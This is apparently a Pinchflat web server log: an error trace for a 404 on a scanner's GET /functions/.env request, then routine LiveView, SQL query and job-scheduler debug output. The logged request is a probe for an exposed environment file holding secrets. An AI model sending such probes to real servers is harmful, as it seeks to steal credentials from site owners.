~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36564.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/functions/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47248}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /functions/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36564.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/functions/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47248}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36574.0>, params: %{}, path_info: ["functions", ""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Moz (truncated) 21:36:27.658 [info] CONNECTED TO Phoenix.LiveView.Socket in 4ms Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "NCA3NRccQC1dBms8JGc4AgBlCDcZDRkTswcEMxvwpk2uvT_Es4jzmBVT", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://youtube.plexultra.com/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://youtube.plexultra.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:36:27.907 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "GWTpZd6Z-mYIR3gGsQbMtOOG", "media_state" => "downloaded"} 21:36:27.912 [debug] QUERY OK source="media_items" db=5.1ms queue=0.1ms idle=897.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:36:27.913 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=901.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:36:27.914 [debug] QUERY OK source="sources" db=0.3ms idle=644.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:36:27.914 [debug] Replied in 7ms 21:36:27.923 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "GWTpZd6Z-mYIR3gGsQbMtOOG", "media_state" => "pending"} 21:36:27.927 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=52.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:36:27.951 [debug] QUERY OK source="media_items" db=23.2ms queue=0.3ms idle=55.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:36:27.952 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=39.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:36:27.952 [debug] Replied in 28ms 21:36:27.956 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "GWTpZd6Z-mYIR3gGsQbMtOOG"} 21:36:27.957 [debug] QUERY OK source="tasks" db=0.7ms idle=42.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:36:27.957 [debug] Replied in 1ms 21:36:27.959 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "GWTpZd6Z-mYIR3gGsQbMtOOG"} 21:36:27.959 [debug] Replied in 209Β΅s 21:36:38.537 [info] GET / 21:36:38.539 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:36:38.541 [debug] QUERY OK source="settings" db=0.7ms queue=0.4ms idle=655.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:38.541 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=657.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:36:38.542 [debug] QUERY OK source="sources" db=0.2ms idle=657.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:36:38.570 [debug] QUERY OK source="media_items" db=27.8ms idle=658.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:36:38.575 [debug] QUERY OK source="media_items" db=3.8ms queue=0.3ms idle=244.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:36:38.576 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=34.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:38.576 [debug] QUERY OK source="settings" db=0.1ms idle=34.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:38.577 [debug] QUERY OK source="settings" db=0.1ms idle=34.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:38.579 [debug] QUERY OK source="tasks" db=0.3ms idle=8.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:36:38.580 [debug] QUERY OK source="media_items" db=0.7ms idle=5.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:36:38.582 [debug] QUERY OK source="media_items" db=0.9ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:36:38.583 [debug] QUERY OK source="sources" db=0.7ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:36:38.602 [debug] QUERY OK source="media_items" db=16.0ms idle=9.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:36:38.606 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=24.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:36:38.607 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=25.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:36:38.610 [info] Sent 200 in 72ms 21:36:48.293 [info] GET / 21:36:48.293 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:36:48.294 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1404.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:48.295 [debug] QUERY OK source="media_profiles" db=0.3ms idle=941.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:36:48.296 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=406.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:36:48.297 [debug] QUERY OK source="media_items" db=0.6ms idle=407.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:36:48.297 [debug] QUERY OK source="media_items" db=0.5ms idle=408.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:36:48.298 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:48.299 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:48.300 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:48.303 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:36:48.306 [debug] QUERY OK source="media_items" db=1.4ms idle=6.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:36:48.307 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=7.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:36:48.309 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:36:48.316 [debug] QUERY OK source="media_items" db=2.4ms idle=13.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:36:48.320 [debug] QUERY OK source="media_items" db=3.0ms queue=0.1ms idle=14.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:36:48.322 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=15.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:36:48.325 [info] Sent 200 in 32ms 21:36:50.561 [info] {"source":"oban","duration":3264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.218 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:37:20.570 [info] {"source":"oban","duration":5394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:22.963 [info] GET / 21:37:22.964 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:37:22.965 [debug] QUERY OK source="settings" db=0.5ms idle=1011.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:22.966 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1012.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 